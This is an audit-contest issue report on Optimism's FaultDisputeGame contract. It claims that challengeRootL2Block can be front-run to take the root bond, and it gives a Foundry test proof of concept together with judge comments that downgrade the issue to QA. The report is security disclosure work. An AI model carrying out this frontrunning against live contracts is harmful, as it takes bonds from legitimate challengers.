code-423n4 / 2024-07-optimism-findings

0 stars 0 forks source link

Attacker Can Steals Initial Root Bond in FaultDisputeGame Contract #107

Open howlbot-integration[bot] opened 1 month ago

howlbot-integration[bot] commented 1 month ago

Lines of code

https://github.com/ethereum-optimism/optimism/blob/5be91416a3d017d3f8648140b3c41189b234ff6e/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L492-L534

Vulnerability details

Impact

The discovered vulnerability in Optimism's challengeRootL2Block function exposes the system to frontrunning attacks. A malicious actor can observe an incoming transaction from a legitimate user attempting to challenge the root of an L2 block and front-run this transaction. By doing so, the attacker can challenge the root first and resolve the challenge to claim the initial root bond, effectively stealing that bond from the rightful challenger. This undermines the fairness and integrity of the dispute resolution process, potentially causing significant financial losses and eroding trust in the protocol.

Proof of Concept

Below is a proof of concept (PoC) demonstrating the frontrunning vulnerability. This PoC highlights how a malicious user can exploit the challengeRootL2Block function to claim the bond of a legitimate challenger.

function test_POCFrontrunningOnChallengeRootL2Block(
        bytes32 _storageRoot,
        bytes32 _withdrawalRoot,
        uint256 _l2BlockNumber
    )
        public
    {
        vm.deal(address(0xb0b), 1 ether);
        _l2BlockNumber = bound(_l2BlockNumber, 0, type(uint256).max - 1);

        (Types.OutputRootProof memory outputRootProof, bytes32 outputRoot, bytes memory headerRLP) =
            _generateOutputRootProof(_storageRoot, _withdrawalRoot, abi.encodePacked(_l2BlockNumber));

        // Create the dispute game with the output root at the wrong L2 block number.
        disputeGameFactory.setInitBond(GAME_TYPE, 0.1 ether);
        uint256 balanceBefore = address(this).balance;
        IDisputeGame game = disputeGameFactory.create{ value: 0.1 ether }(
            GAME_TYPE, Claim.wrap(outputRoot), abi.encode(_l2BlockNumber + 1)
        );
        FaultDisputeGame fdg = FaultDisputeGame(address(game));

        // Attack the root as 0xb0b
        uint256 bond = _getRequiredBond(0);
        (,,,, Claim disputed,,) = fdg.claimData(0);
        vm.prank(address(0xb0b));
        fdg.attack{ value: bond }(disputed, 0, Claim.wrap(0));

        // Challenge the L2 block number as 0xace. This claim should receive the root claim's bond.
        // address(69) fron<t-run address(0xace),gets its bond and block him from calling challengeRootL2Block
        vm.prank(address(69));
        fdg.challengeRootL2Block(outputRootProof, headerRLP);

        // reverts due to duplicate challange
        vm.prank(address(0xace));
        vm.expectRevert(L2BlockNumberChallenged.selector);
        fdg.challengeRootL2Block(outputRootProof, headerRLP);

        // Warp past the clocks, resolve the game.
        vm.warp(block.timestamp + 3 days + 12 hours + 1);
        fdg.resolveClaim(1, 0);
        fdg.resolveClaim(0, 0);
        fdg.resolve();

        // Ensure the challenge was successful.
        assertEq(uint8(fdg.status()), uint8(GameStatus.CHALLENGER_WINS));

        // Wait for the withdrawal delay.
        vm.warp(block.timestamp + delayedWeth.delay() + 1 seconds);

        // Claim credit
        fdg.claimCredit(address(0xb0b));
        fdg.claimCredit(address(69));
        //try to claim something,but reverts since 0xace has no credit
        vm.expectRevert(NoCreditToClaim.selector);
        fdg.claimCredit(address(0xace));

        // Ensure that the party who challenged the L2 block number with the special move received the bond.
        // - Root claim loses their bond
        // - 69 receives the root claim's bond
        // - 0xb0b receives their bond back
        assertEq(address(this).balance, balanceBefore - 0.1 ether);
        assertEq(address(0xb0b).balance, 1 ether);
        assertEq(address(69).balance, 0.1 ether + 1);
    }

Tools Used

foundry

Recommended Mitigation Steps

add a potential commit-reveal scheme for challenges,covering by doing so, all the inputs from the rightful challengers.

Assessed type

Timing

c4-judge commented 1 month ago

zobront changed the severity to QA (Quality Assurance)

c4-judge commented 1 month ago

zobront marked the issue as grade-b